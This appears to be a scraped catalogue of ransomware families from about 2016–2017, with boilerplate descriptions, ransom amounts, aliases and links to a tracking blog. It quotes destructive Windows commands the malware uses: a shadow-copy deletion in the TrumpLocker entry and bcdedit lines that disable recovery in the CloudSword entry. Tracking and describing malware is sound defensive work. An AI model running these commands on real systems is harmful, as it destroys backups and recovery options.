https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html |
TrumpLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disquise .To delete shadow files use the following commend: C:\Windows\system32\wbem\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKl7_Iwr1agYtlVO3HXaUrwitcowp5_NQCLcB/s1600/lock.jpg
Links |
https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html |
Damage Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Written in Delphi
Links |
https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html |
XYZWare Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
Links |
https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html |
https://twitter.com/malwrhunterteam/status/833636006721122304 |
YouAreFucked Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://www.enigmasoftware.com/youarefuckedransomware-removal/ |
CryptConsole 2.0 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html |
BarRax Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
BarRax Ransomware is also known as:
-
BarRaxCrypt Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html |
CryptoLocker by NTK Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html |
UserFilesLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
UserFilesLocker Ransomware is also known as:
-
CzechoSlovak Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html |
AvastVirusinfo Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. PAYING RANSOM IS USELESS, YOUR FILES WILL NOT BE FIXED. THE DAMAGE IS PERMENENT!!!!
Links |
https://id-ransomware.blogspot.co.il/2017_03_01_archive.html |
https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html |
SuchSecurity Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/suchsecurity-ransomware.html |
PleaseRead Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
PleaseRead Ransomware is also known as:
-
VHDLocker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/vhd-ransomware.html |
Kasiski Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/kasiski-ransomware.html |
Fake Locky Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Fake Locky Ransomware is also known as:
-
Locky Impersonator Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/locky-impersonator.html |
CryptoShield 1.0 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoShield 1.0 is a ransomware from the CryptoMix family.
Links |
https://id-ransomware.blogspot.co.il/2017/02/cryptoshield-2-ransomware.html |
Hermes Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Filemarker: "HERMES"
Links |
https://id-ransomware.blogspot.co.il/2017/02/hermes-ransomware.html |
LoveLock Ransomware or Love2Lock Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html |
Wcry Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html |
DUMB Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html |
https://twitter.com/bleepincomputer/status/816053140147597312?lang=en |
X-Files
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017_02_01_archive.html |
https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html |
Polski Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The Ransom is 249$ and the hacker demands that the victim gets in contact through e-mail and a Polish messenger called Gadu-Gadu.
Links |
https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html |
YourRansom Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This hacker demands that the victim contacts him through email and decrypts the files for FREE.(moreinfo in the link below)
Links |
https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html |
Ranion RaasRansomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ranion Raas gives the opportunity to regular people to buy and distribute ransomware for a very cheap price. (More info in the link below). RaaS service
Links |
https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html |
Potato Ransomware
Wants a ransom to get the victim’s files back . Originated in English. Spread worldwide.
Links |
https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html |
of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)
This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.
Links |
https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html |
RansomPlus
Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.
Links |
http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html |
https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html |
CryptConsole
This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files
Links |
https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html |
ZXZ Ramsomware
Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A
Links |
https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html |
VxLock Ransomware
Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF… etc
Links |
https://id-ransomware.blogspot.co.il/2017/01/vxlock-ransomware.html |
FunFact Ransomware
Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amout of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.
Links |
ZekwaCrypt Ransomware
First spotted in May 2016, however made a big comeback in January 2017. It’s directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.
Links |
https://id-ransomware.blogspot.co.il/2016/06/zekwacrypt-ransomware.html |
http://www.2-spyware.com/remove-zekwacrypt-ransomware-virus.html |
Sage 2.0 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker
CloudSword Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Window Update” to confuse its victims. Then imitates the window update process , while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands: bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
DN
It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Chrome Update” to confuse its victims. Then imitates the chrome update process ,while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!
DN is also known as:
-
Fake
Links |
https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html |
GarryWeber Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc..
Links |
https://id-ransomware.blogspot.co.il/2017/01/garryweber.html |
Satan Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS
Links |
https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html |
Havoc
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures , videos, shared online files etc..
Havoc is also known as:
-
HavocCrypt Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/havoc-ransomware.html |
CryptoSweetTooth Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Its fake name is Bitcoin and maker’s name is Santiago. Work of the encrypted requires the user to have .NET Framework 4.5.2. on his computer.
Links |
https://id-ransomware.blogspot.co.il/2017/01/cryptosweettooth.html |
http://sensorstechforum.com/remove-cryptosweettooth-ransomware-restore-locked-files/ |
Kaandsona Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The word Kaandsona is Estonian, therefore the creator is probably from Estonia. Crashes before it encrypts
Kaandsona Ransomware is also known as:
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RansomTroll Ransomware
-
Käändsõna Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/kaandsona-ransomtroll.html |
https://twitter.com/BleepinComputer/status/819927858437099520 |
LambdaLocker Ransomware
It’s directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/lambdalocker.html |
http://cfoc.org/how-to-restore-files-affected-by-the-lambdalocker-ransomware/ |
NMoreia 2.0 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
NMoreia 2.0 Ransomware is also known as:
-
HakunaMatataRansomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/hakunamatata.html |
https://id-ransomware.blogspot.co.il/2016_03_01_archive.html |
Marlboro Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it’s just XOR)
Links |
https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/ |
Spora Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral attachment: https://4.bp.blogspot.com/-KkJXiHG80S0/WHX4TBpkamI/AAAAAAAADDg/F_bN796ndMYnzfUsgSWMXhRxFf3Ic-HtACLcB/s1600/spam-email.png
CryptoKill Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files get encrypted, but the decrypt key is not available. NO POINT OF PAYING THE RANSOM, THE FILES WILL NOT BE RETURNED.
Links |
https://id-ransomware.blogspot.co.il/2017/02/cryptokill-ransomware.html |
All_Your_Documents Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/allyourdocuments-ransomware.html |
SerbRansom 2017 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 500$ in bitcoins. The name of the hacker is R4z0rx0r Serbian Hacker.
Links |
https://id-ransomware.blogspot.co.il/2017/02/serbransom-2017.html |
https://twitter.com/malwrhunterteam/status/830116190873849856 |
Fadesoft Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 0.33 bitcoins.
HugeMe Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/hugeme-ransomware.html |
https://id-ransomware.blogspot.co.il/2016/04/magic-ransomware.html |
DynA-Crypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
DynA-Crypt Ransomware is also known as:
-
DynA CryptoLocker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html |
Serpent 2017 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Serpent 2017 Ransomware is also known as:
-
Serpent Danish Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html |
Erebus 2017 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html |
Cyber Drill Exercise
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Cyber Drill Exercise is also known as:
-
Ransomuhahawhere
Links |
https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html |
Cancer Ransomware FAKE
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.
UpdateHost Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.
Links |
https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html |
https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html |
Nemesis Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 10 bitcoins.
Links |
https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html |
Evil Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Domain KZ is used, therefore it is assumed that the decrypter is from Kazakhstan. Coded in Javascript
Evil Ransomware is also known as:
-
File0Locked KZ Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html |
Ocelot Ransomware (FAKE RANSOMWARE)
It’s directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03 bitcoins. It is still dangerous even though it is fake, he still go through to your computer.
Ocelot Ransomware (FAKE RANSOMWARE) is also known as:
-
Ocelot Locker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html |
https://twitter.com/malwrhunterteam/status/817648547231371264 |
SkyName Ransomware
It’s directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
SkyName Ransomware is also known as:
-
Blablabla Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/01/skyname-ransomware.html |
https://twitter.com/malwrhunterteam/status/817079028725190656 |
MafiaWare Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 155$ inbitcoins. Creator of ransomware is called Mafia. Based on HiddenTear
MafiaWare Ransomware is also known as:
-
Depsex Ransomware
Links |
https://twitter.com/BleepinComputer/status/817069320937345024 |
Globe3 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 3 bitcoins. Extesion depends on the config file. It seems Globe is a ransomware kit.
Globe3 Ransomware is also known as:
-
Purge Ransomware
BleedGreen Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQOBmgCLcB/s1600/green1.jpg
BleedGreen Ransomware is also known as:
-
FireCrypt Ransomware
BTCamant Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Original name is Mission 1996 or Mission: “Impossible” (1996) (like the movie)
Links |
X3M Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.
Links |
https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html |
GOG Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html |
https://twitter.com/BleepinComputer/status/816112218815266816 |
EdgeLocker
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.1 Bitcoins. Original name is TrojanRansom.
Links |
https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html |
https://twitter.com/BleepinComputer/status/815392891338194945 |
Red Alert
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Fake name: Microsoft Corporation. Based on HiddenTear
Links |
https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html |
https://twitter.com/JaromirHorejsi/status/815557601312329728 |
First
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html |
XCrypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Written on Delphi. The user requests the victim to get in touch with him through ICQ to get the ransom and return the files.
Links |
https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html |
7Zipper Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html |
Zyka Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 170$ or EUR in Bitcoins.
Links |
https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html |
https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip |
SureRansom Ransomeware (Fake)
It’s directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.
Links |
https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html |
Netflix Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.
Merry Christmas
It’s directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. They pose as a Consumer complaint notification that’s coming from Federal Trade Commission from USA, with an attached file called “complaint.pdf”. Written in Delphi by hacker MicrRP.
Merry Christmas is also known as:
-
Merry X-Mas
-
MRCR
Seoirse Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Seoirse is how in Ireland people say the name George. Ransom is 0.5 Bitcoins.
Links |
https://id-ransomware.blogspot.co.il/2016/12/seoirse-ransomware.html |
KillDisk Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.
DeriaLock Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the hacker on Skype and forward him the payment.
Links |
https://id-ransomware.blogspot.co.il/2016/12/derialock-ransomware.html |
BadEncript Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html |
AdamLocker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the creator is puff69.
Links |
https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html |
Alphabet Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses as Windows 10 Critical Update Service. Offers you to update your Windows 10, but instead encrypts your files. For successful attack, the victim must have .NET Framework 4.5.2 installed on him computer.
Links |
https://id-ransomware.blogspot.co.il/2016/12/alphabet-ransomware.html |
KoKoKrypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread by its creator in forums. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files and documents and more. The ransom is 0.1 bitcoins within 72 hours. Uses Windows Update as a decoy. Creator: Talnaci Alexandru
KoKoKrypt Ransomware is also known as:
-
KokoLocker Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/12/kokokrypt-ransomware.html |
http://removevirusadware.com/tips-for-removeing-kokokrypt-ransomware/ |
L33TAF Locker Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.5 bitcoins. The name of the creator is staffttt, he also created Fake CryptoLocker
Links |
https://id-ransomware.blogspot.co.il/2016/12/l33taf-locker-ransomware.html |
PClock4 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam (for example: “you have a criminal case against you”), fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..
PClock4 Ransomware is also known as:
-
PClock SysGop Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/12/pclock4-sysgop-ransomware.html |
Guster Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses VBS-script to send a voice message as the first few lines of the note.
Links |
https://id-ransomware.blogspot.co.il/2016/12/guster-ransomware.html |
https://twitter.com/BleepinComputer/status/812131324979007492 |
Roga
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker requests the ransom in Play Store cards. https://3.bp.blogspot.com/-ClUef8T55f4/WGKb8U4GeaI/AAAAAAAACzg/UFD0X2sORHYTVRNBSoqd5q7TBrOblQHmgCLcB/s1600/site.png
Links |
https://id-ransomware.blogspot.co.il/2016/12/roga-ransomware.html |
CryptoLocker3 Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Creator is staffttt and the ransom is 0.5 botcoins.
CryptoLocker3 Ransomware is also known as:
-
Fake CryptoLocker
Links |
https://id-ransomware.blogspot.co.il/2016/12/cryptolocker3-ransomware.html |
ProposalCrypt Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 1.0 bitcoins.
Links |
https://id-ransomware.blogspot.co.il/2016/12/proposalcrypt-ransomware.html |
https://twitter.com/malwrhunterteam/status/811613888705859586 |
Manifestus Ransomware
